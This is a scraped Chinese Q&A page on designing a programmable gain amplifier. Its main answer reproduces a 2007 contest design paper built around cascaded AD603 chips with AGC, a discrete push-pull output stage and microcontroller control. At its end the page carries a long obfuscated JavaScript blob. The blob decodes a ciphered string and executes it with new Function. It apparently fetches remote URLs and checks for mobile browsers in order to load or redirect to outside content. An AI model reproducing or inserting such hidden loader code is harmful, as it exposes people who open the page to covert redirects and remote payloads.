设计并制作一个可控放大器,放大器的增益可设置;低通滤波器、高通滤波器、带通滤波的通带、截止频率可调

2024-11-26 17:45:27
推荐回答(3个)
回答1:

误差是做出成品以后通过调试改进的到的,不是计算来的

回答2:

程控放大器(ad603)
2007-09-04 19:30

本设计由三个模块电路构成:前级放大电路(带AGC部分)、后级放大电路和单片机显示与控制模块。在前级放大电路中,用宽带运算放大器AD603两级级联放大输入信号,输出放大一定倍数的电压,经过后级放大电路达到大于8V的有效值输出。ADUC812的单片机显示、控制和数据处理模块除可以程控调节放大器的增益外,还可以实时显示输出电压有效值。
本设计采用高级压控增益器件,进行合理的级联和阻抗匹配,加入后级负反馈互补输出级,全面提高了增益带宽积和输出电压幅度。应用单片机和数字信号处理技术对增益进行预置和控制,AGC稳定性好,可控范围大,完成了题目的所有基本和发挥要求。

方案论证与比较

1.可控增益放大器部分
方案一 简单的放大电路可以由三极管搭接的放大电路实现,图1为分立元件放大器电路图。为了满足增益60dB的要求,可以采用多级放大电路实现。对电路输出用二极管检波产生反馈电压调节前级电路实现自动增益的调节。本方案由于大量采用分立元件,如三极管等,电路比较复杂,工作点难于调整,尤其增益的定量调节非常困难。此外,由于采用多级放大,电路稳定性差,容易产生自激现象。

方案二 为了易于实现最大60dB增益的调节,可以采用D/A芯片AD7520的电阻权网络改变反馈电压进而控制电路增益。又考虑到AD7520是一种廉价型的10位D/A转换芯片,其输出Vout=Dn×Vref/210,其中Dn为10位数字量输入的二进制值,可满足210=1024挡增益调节,满足题目的精度要求。它由CMOS电流开关和梯形电阻网络构成,具有结构简单、精确度高、体积小、控制方便、外围布线简化等特点,故可以采用AD7520来实现信号的程控衰减。但由于AD7520对输入参考电压Vref有一定幅度要求,为使输入信号在mV~V每一数量级都有较精确的增益,最好使信号在到达AD7520前经过一个适应性的幅度放大调整,再通过AD7520衰减后进行相应的后级放大,并使前后级增益积为1024,与AD7520的衰减分母抵消,即可实现程控放大。但AD7520对输入范围有要求,具体实现起来比较复杂,而且转化非线性误差大,带宽只有几kHz,不能满足频带要求。
方案三 根据题目对放大电路的增益可控的要求,考虑直接选取可调增益的运放实现,如运放AD603。其内部由R-2R梯形电阻网络和固定增益放大器构成,加在其梯型网络输入端的信号经衰减后,由固定增益放大器输出,衰减量是由加在增益控制接口的参考电压决定;而这个参考电压可通过单片机进行运算并控制D/A芯片输出控制电压得来,从而实现较精确的数控。此外AD603能提供由直流到30MHz以上的工作带宽,单级实际工作时可提供超过20dB的增益,两级级联后即可得到40dB以上的增益,通过后级放大器放大输出,在高频时也可提供超过60dB的增益。这种方法的优点是电路集成度高、条理较清晰、控制方便、易于数字化用单片机处理。

2.后级固定增益部分
由两片AD603级联构成的前级放大电路,对不同大小的输入信号进行前级放大。由于AD603的最大输出电压较小,不能满足题目要求,所以前级放大信号需经过后级放大达到更高的输出有效值。
方案一 使用集成电路芯片。使用集成电路芯片电路简单、使用方便、性能稳定、有详细的文档说明。可是题目要求输出6V以上有效值,而在电子市场很难买到这样的芯片,而我们买到的如AD811,HA-2539 等芯片,虽然输出电压幅度能满足要求,但是很容易发生工作不稳定的情况。
方案二 使用分立元件自行搭建后级放大器。使用分立元件设计困难,调试繁琐,可是却可以经过计算得到最合适的输入输出阻抗、放大倍数等参数,电阻电容可根据需要更换,在此时看来较集成电路灵活。因此,我们决定自行设计后级放大器。

系统设计

1.总体设计思路
根据题目的要求,结合考虑过的各种方案,我们认真取舍,充分利用模拟和数字系统各自的优点,发挥其优势,采用单片机预置和控制放大器增益的方法,大大提高了系统的精度和可控性;后级放大器使用由分立元件设计的推挽互补输出放大器,提高了输出电压有效值。我们使信号都在单片机的数字算法控制下得到最合理的前级放大,使其放大倍数精确。图2所示即为本系统原理框图。

输入信号通过前级可控增益放大,放大倍数由单片机通过D/A转换提供的电压控制。AD603的Vg(=V1-V2)根据公式:增益GAIN=40×Vg+20(dB)来设定,而在AGC模式下,此控制电压Vg是由AGC电路的反馈电压得到,不受单片机控制。经过前级放大后的信号最后经过后级放大得到需要的输出信号,前级和后级增益的搭配,都是经过精确的测量和计算的。输出电压经峰值检波电路得到,反馈到单片机,经运算和线性补偿得到有效值,同时单片机推动数码管显示出来。

2.主要电路原理分析
(1)直流稳压电源 本电源采用桥式全波整流、大电容滤波、三端稳压器件稳压的方法,产生各种直流电压,如正负15V,正负5V等都可以买到相应的固定输出的三端稳压芯片,如LM7815、LM7805。而电子市场上没有我们要求的前级和后级放大器所需要的+10V和+30V固定输出的三端稳压器件,所以我们采用LM317T可变输出的稳压芯片,典型电路图如图3。

交流输入经过电容滤波后的稳定的直流电送到三端稳压集成电路LM317T的Vin端。LM317T是这样工作的:由Vin端给它提供工作电压以后,它便可以保持其+Vout端比其ADJ端的电压高1.25V。因此,我们只需用极小的电流来调整ADJ端的电压,便可在+Vout端得到比较大的电流输出,并且电压比ADJ端高出恒定的1.25V。
在LM317T的ADJ端加一个接地的滤波电容,会使纹波抑制比大幅度地提高,给高频小信号运算放大器提供非常稳定的电源。二极管的作用是当有意外情况使得LM317T的输入电压比输出电压还低的时候防止从输入端上有电流倒灌入LM317T引起其损坏。其电源电路见本刊网站。
(2)前级放大器和AGC AD603为单通道、低噪声、增益变化范围连续可调的可控增益放大器。带宽90MHz时增益变化范围为-11~+3ldB;带宽为9MHz时为9~51dB。增益变化范围可分三种模式进行控制:当 5脚与7脚断开时,增益变化范围为9~51dB,当5脚与7脚短接时,增益变化范因为-11~+3ldB,当5脚与7脚之间接一电阻时,可使增益变化范围进行平移。

AD603的简化原理框图如图4所示,它由无源输入衰减器、增益控制界面和固定增益放大器三部分组成。图中加在梯型网络输入端(VINP)的信号经衰减后,由固定增益放大器输出,衰减量是由加在增益控制接口的电压决定。增益的调整与其自身电压值无关,而仅与其差值Vg有关,由于控制电压GPOS/GNEG端的输入电阻高达50MΩ,因而输入电流很小,致使片内控制电路对提供增益控制电压的外电路影响减小。以上特点很适合构成程控增益放大器。为了增大控制范围,我们采取两级AD603级联的方法,如图5所示。
使用AD603制作前置放大器时,主要考虑了共模干扰问题。前置放大器采用单端输入方式,这时要求运算放大器的另一个输入端与信号输入端阻抗平衡,否则在相位相同的电磁干扰情况下,将产生共模信号输出。
AD603输入阻抗为100Ω,低的输入阻抗将带来如功率、阻抗匹配等若干问题,因此我们在输入前级用三极管搭设了射极跟随器,用以提高输入阻抗。根据公式:Rin≈βRe,我们取β=150的高频三极管,取Re=1kΩ,使输入阻抗大于150kΩ。
有时由于接收环境的不同、外界干扰的影响,接收到信号的强弱可能变化很大。特别是传输图像信号时,由于频带宽、电磁干扰严重,不可能无畸变地远距离传输。当信号较弱时,图像的对比度变小,清晰度差且同步不稳定,无法成像;当信号较强时,会使后级接收端放大器进入饱和区和截止区,导致信号严重失真,而且还会将同步脉冲切割掉,得不到良好的图像。

为了较好地解决这个问题,可使用自动增益控制电路,即AGC电路。它取出放大器输出的峰值作为增益的控制电压,使最终输出的电压信号保持在某一峰峰值之间,输出较稳定的视频信号。
在图5中,两级AD603可构成具有自动增益控制的放大电路,图中由2N3904和R7组成一个检波器,用于检测输出信号幅度的变化。由C11形成自动增益控制电压Vagc,流进电容C11的电流为2N3906和2N3904两管的集电极电流之差,而且其大小随第二级AD603输出信号的幅度大小变化而变化,这使得加在两级放大器1脚的自动增益控制电压Vagc随输出信号幅度变化而变化,从而达到自动调整放大器增益的目的。
为了去除50Hz工频干扰和其它低频干扰,我们在两级AD603中作了巧妙的处理,级间加入的串联电容可以与AD603的输入阻抗形成一个高通滤波器,转折频率为1/2πRC,其中R为AD603的输入阻抗100Ω,C为典型的104磁片电容,得结果约15kHz,经测试正好满足衰减3dB起始点为10kHz,从20kHz开始幅频特性曲线平坦的要求。

(3)手动增益预置和控制的实现 开环增益手动控制的基本思路是由单片机数字程控,经D/A转换产生控制输出电压,加到图5中两块AD603的1脚来控制。我们本想利用ADUC812单片机自带的D/A转换功能,但经实践发现其D/A输出很不稳定,难以滤除,而控制电压要求纹波非常小,否则就会给输出信号带来很大噪声。故我们改变了设计,考虑使用电阻网络AD7520进行控制,其原理如图6所示。单片机通过74LS373给AD7520赋值,电阻R0用于调节AD7520的参考电压,从而由AMP1得到D/A结果,再由AMP2幅度搬移至前放所需的控制电压-0.5~+0.5V之间,提供给AD603。
(4)后级放大原理 图7为后级放大电路图,它是PSPICE 电路仿真时候的电路图, 可见本电路是一个典型的单电源供电的对称互补电路。三极管选用的是B649A和D669A高频孪生对管,T1、T2组成前置放大级,T3、T4组成对称输出级。在输入信号为0时,调整R1的阻值,可以供给三极管适当的偏置,从而使R9和R10间的电位为Vcc/2。
静态时,通常输出点电位为Vcc/2,为了保证电路工作点的稳定性,我们使用R9、R10和C5将输出端和T1、T2输入端相连,以引入负反馈。

晶体管的ft在很大程度上决定了放大器的带宽。因为有源负载的频率特性和噪声特性较差,因此我们在电路中采用电阻做负载。使用分立元件制作后级放大器时,在指标允许的情况下,我们尽量降低输入阻抗,以减少空间辐射带来的干扰。
(5)峰值检波电路 图8为峰值检波电路。峰值检波有两种方案,第一种是使用AD637。
AD637真有效值检测器将输出的交流信号取样回来转换为直流,经过单片机的A/D转换后,显示在数码管上。输入电压不大的时候,AD637尚可正常工作;但是,当输出为最大到8V有效值的电压时,AD637工作将不正常,并且,随着频率的不同,AD637的工作状态会有所不同,所以不宜使用。另一种方案是,取样回来的输出电压经过二极管和电容进行峰值检波,并经过高精度运算放大器进行衰减和保持后输入A/D转换器转换为数字信号进行显示,这样精度可以得到保证,不过会有一定的管压降,使用检波用肖特基二极管大概会有0.2V压降,完全可以通过单片机进行显示上的补偿。
(6)单片机系统 单片机是整个放大器控制的核心部分,它主要完成以下功能:接收用户按键信息以控制增益;接收峰值检波电路的反馈电压以计算有效值;对AD603的增益控制电压进行控制。程序流程图如图9所示。各个功能由不同的模块实现:
键盘检测模块 记录用户对键盘的操作,将设定的增益数值记录下来。
控制电压模块 根据用户对增益的设置,查表得到对D/A转换器的控制字串,输出给D/A转换器以产生精确的控制电压。
有效值模块 由于输入输出是标准的正弦信号,峰值检波电压值根据经验公式Vmax=√2Vrms计算,并经过线性修正得到有效值,经测试显示误差不超过0.5%。
显示模块 按用户需要将预置增益值或者有效值显现在数码管上。

总 结

通过对输入输出、频带、增益、AGC等各方面的测试,我们得到了如附表所列的性能。

专家点评:作品包括模拟和数字两大部分,采用集成电路与分立元器件结合的方案,集中了各自优势,收到设计简单、性能优良、实现较容易等效果。其中模拟前端由两块高性能集成宽带、低噪声可变增益放大器AD603级联而成,负责信号放大并与单片机电路配合实现了增益控制;后级功率输出模块采用分立元器件构成,得到较高的输出电压范围;系统控制模块以ADUC812单片机为主,可完成增益设定、电压有效值计算和相关信息显示等功能。
系统采用电压反馈控制方式实现了自动增益控制,AGC范围较宽。设计与制作中利用数模隔离、电源隔离、滤波和去耦等技术,以及PCB板合理布线、级间阻抗匹配和软件算法误差补偿等措施,有效减少了噪声和干扰的影响,同时提高了系统的稳定性。
设计方案论证充分,各级电路参数确定、阻抗匹配设计合理;系统完成的功能完备,增益、带宽等主要指标均达到题目的要求。
设计中还应进一步注意高频放大器增益与带宽之间的关系,从题目要求出发,二者兼顾,以获取更好的带宽性能。
点评专家 刘开华,天津大学电子信息工程学院教授,全国大学生电子设计竞赛专家组成员。

回答3:

找07年电子大赛的论文就是啊

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();